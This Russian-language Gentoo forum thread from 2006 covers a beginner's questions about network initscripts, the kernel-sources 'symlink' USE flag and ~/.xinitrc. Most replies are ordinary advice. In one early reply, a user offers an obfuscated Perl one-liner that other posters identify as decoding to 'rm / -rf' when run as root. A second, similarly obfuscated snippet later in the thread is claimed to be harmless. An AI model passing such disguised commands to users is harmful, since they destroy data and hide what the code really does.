View previous topic :: View next topic |
Author |
Message |
Megajambo n00b
Joined: 11 Aug 2006 Posts: 13 Location: Moscow
|
Posted: Sat Aug 12, 2006 9:29 am Post subject: 3 ламошных вопроса. |
|
|
1) В самом начале установки, когда производил настройку сети, определилась сеть на интерфейсе eth1. далее в конце, чтобы сеть стартовала при загрузке делал что-то вроде:
Code Listing 9: Adding net.eth0 to the default runlevel
# rc-update add net.eth0 default
If you have several network interfaces, you need to create the appropriate net.eth1, net.eth2 etc. initscripts for those. You can use ln to do this:
Code Listing 10: Creating extra initscripts
# cd /etc/init.d
# ln -s net.eth0 net.eth1
# rc-update add net.eth1 default
всё заработало. Только теперь при загрузке системы долго стартует dcdhcp и пишет в конце что eth1 не существует. ifconfig показывает что сеть на eth0 и интернет работает... как убрать eth1 ?
2) При установке выполнялось: USE="-doc symlink" emerge gentoo-sources
Сейчас решил делать полное обновление: emerge --update --deep --newuse world
пишет при --preetend что среди прочих изменений будет R (replacing same version) gentoo-sources USE="symlink"
Это что значит? это не повредит моей системе?
3) когда настраивал kde, из под root запустил команду echo "exec startkde" > ~/.xinitrc или как-то так... теперь задумываюсь как отменить это действие, подскажите пожалуйста... |
|
Back to top |
|
|
vobla n00b
Joined: 25 Mar 2004 Posts: 20
|
Posted: Sat Aug 12, 2006 7:26 pm Post subject: |
|
|
Code: | cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' |
|
|
Back to top |
|
|
ladserg n00b
Joined: 01 Nov 2004 Posts: 65
|
Posted: Sun Aug 13, 2006 12:43 am Post subject: |
|
|
Г-н(жа) Вобла, не могли бы вы перевести свой ответ на русский, или хотя бы русынский, для таких чайников как я?
Megajambo:
1. Сколько у вас сетевых карт? Если одна то удалите симлинк /etc/init.d/eth1, у вас должен быть только /etc/init.d/eth0
2. Это значит, что ссылка /usr/src/linux будет указывать на исходники нового ядра, плохая практика, лучше эту ссылку править руками и обновлять ядро только тогда, когда вам будет удобно. Менять ссылку /usr/src/linux заставляет как раз этот флаг: USE="... symlink ...". Если вы после установки исходников сразу же не скомпилдируете и не обновите ядро, то ряд программ при сборке, такие как nvidia-kernel, использующие эти исходники для сборки, просто не будут у вас работать, т.к. версия текущего ядра - одна, а версия исходников - другая.
3. На самом деле очень просто, вы своим действием в файле ~/.xinitrc указали иксам использовать kde, загляните в этот файл, например коммандой:
Для отмены этого действия просто удалите добавленную строку, а если она одна, то удалите файл.
Редактирование файла:
Удаление файла:
|
|
Back to top |
|
|
ba l33t
Joined: 25 May 2003 Posts: 804
|
Posted: Sun Aug 13, 2006 11:59 am Post subject: Re: 3 ламошных вопроса. |
|
|
Megajambo wrote: | 8O
1) В самом начале установки, когда производил настройку сети, определилась сеть на интерфейсе eth1. далее в конце, чтобы сеть стартовала при загрузке делал что-то вроде:
Code Listing 9: Adding net.eth0 to the default runlevel
# rc-update add net.eth0 default
If you have several network interfaces, you need to create the appropriate net.eth1, net.eth2 etc. initscripts for those. You can use ln to do this:
Code Listing 10: Creating extra initscripts
# cd /etc/init.d
# ln -s net.eth0 net.eth1
# rc-update add net.eth1 default
всё заработало. Только теперь при загрузке системы долго стартует dcdhcp и пишет в конце что eth1 не существует. ifconfig показывает что сеть на eth0 и интернет работает... как убрать eth1 ? |
Code: | rc-update del net.eth1 |
|
|
Back to top |
|
|
d_n_k Tux's lil' helper
Joined: 15 Jul 2004 Posts: 138 Location: Russia
|
Posted: Mon Aug 14, 2006 11:55 am Post subject: |
|
|
ladserg wrote: | Г-н(жа) Вобла, не могли бы вы перевести свой ответ на русский, или хотя бы русынский, для таких чайников как я?
|
Выполни тот код от root'а и получи rm / -rf |
|
Back to top |
|
|
Megajambo n00b
Joined: 11 Aug 2006 Posts: 13 Location: Moscow
|
Posted: Mon Aug 14, 2006 12:46 pm Post subject: |
|
|
Спасибо всем! _________________ AMD athlon 64 3700+ San Diego
nVidia GeForce 6600 |
|
Back to top |
|
|
ladserg n00b
Joined: 01 Nov 2004 Posts: 65
|
Posted: Mon Aug 14, 2006 2:21 pm Post subject: |
|
|
d_n_k wrote: | ladserg wrote: | Г-н(жа) Вобла, не могли бы вы перевести свой ответ на русский, или хотя бы русынский, для таких чайников как я?
|
Выполни тот код от root'а и получи rm / -rf |
Гм, действительно, тогда у меня другой вопрос, а не потерял ли г-н(жа) Вобла маму, давая такие советы новичкам? |
|
Back to top |
|
|
ladserg n00b
Joined: 01 Nov 2004 Posts: 65
|
Posted: Mon Aug 14, 2006 4:53 pm Post subject: |
|
|
Code: | cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' |
Прикольно, чуть голову не сломал, пока понял как это работает.
Г-н Vobla, вам будет полезно запустить этот скрипт:
Code: |
perl -e 's;;:<).>|{.%|(/</=(/|>!+|\$%,!>*\n{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'; |
P.S. Можете не бояться, мой код не вредоносный. |
|
Back to top |
|
|
lefsha Veteran
Joined: 30 Aug 2004 Posts: 1234 Location: Burgas, Bulgaria
|
Posted: Wed Aug 23, 2006 10:40 pm Post subject: |
|
|
ladserg wrote: |
2. Это значит, что ссылка /usr/src/linux будет указывать на исходники нового ядра, плохая практика, лучше эту ссылку править руками и обновлять ядро только тогда,
|
Обновлять эту ссылку руками и есть плохая практика. _________________ Lefsha |
|
Back to top |
|
|
ladserg n00b
Joined: 01 Nov 2004 Posts: 65
|
Posted: Thu Aug 24, 2006 4:14 am Post subject: |
|
|
lefsha wrote: |
Обновлять эту ссылку руками и есть плохая практика. |
Вы предлагаете позволить emerge на серверах обновлять ссылку когда ему вздумается? При учёте, что ядра не всегда обновляются, да и сами сервера годами не перезагружаются, только ПО обновляется и всё.
А если уж изменять ссылку /usr/src/linux, тогда и ядро нужно сразу заново устанавливать, чего опять же мне не нужно. |
|
Back to top |
|
|
lefsha Veteran
Joined: 30 Aug 2004 Posts: 1234 Location: Burgas, Bulgaria
|
Posted: Thu Aug 24, 2006 5:09 pm Post subject: |
|
|
Нет, я этого не предлагал.
Речь была о том, чтобы делать
Code: | eselect kernel set # |
вместо того, чтобы менять ссылку руками.
Кроме того я не особо понимаю как emerge будет обновлять
ссылку когда вздумается... Это просто исключено. _________________ Lefsha |
|
Back to top |
|
|
ladserg n00b
Joined: 01 Nov 2004 Posts: 65
|
Posted: Fri Aug 25, 2006 4:09 am Post subject: |
|
|
lefsha wrote: |
Речь была о том, чтобы делать
Code: | eselect kernel set # |
вместо того, чтобы менять ссылку руками.
|
Ух ты, уже и такое сделали, не знал, ну это тоже подходит.
lefsha wrote: |
Кроме того я не особо понимаю как emerge будет обновлять
ссылку когда вздумается... Это просто исключено. |
Там флаг есть symlink, я о нём выше писал, с ним при обновлении ядра ссылка будет меняться. Конечно я не имел в виду, что emerge средь ночи подорвётся и пойдёт ни с того ни с сего менять ссылки. Речь шла об обновлении ядра (см. самый первый пост). ИМХО лучше контролировать сей процесс либо придложенным вами способом (что в принципет тоже рукам), либо напрямую редактируя ссылку. |
|
Back to top |
|
|
lefsha Veteran
Joined: 30 Aug 2004 Posts: 1234 Location: Burgas, Bulgaria
|
Posted: Fri Aug 25, 2006 4:37 pm Post subject: |
|
|
Еще раз! Новое ядро устанавливается в новый слот!
И никакого обновления в этом смысле не происходит.
Так что можно вечно делать emerge - ссылка как была
так и останется той же самой.
Если же захотелось самому поставить новое ядро, то ничто
не мешает перед этим запустить тот код что я показал.
Ядро не может устанавливаться автоматически!
Т.е. такого эффекта добиться можно - но смысла
в нем будет 0. И по умолчанию ничего такого нет.
Т.о. проблема высосана из пальца. _________________ Lefsha |
|
Back to top |
|
|
vobla n00b
Joined: 25 Mar 2004 Posts: 20
|
Posted: Sat Aug 26, 2006 6:18 am Post subject: |
|
|
2lefsha
Тебе человек пишет про USE флаг symlink, с которым после emerge нового ядра symlink /usr/src/linux автоматически переключается на него. Ни о какой компиляции ядра речи не было. |
|
Back to top |
|
|
|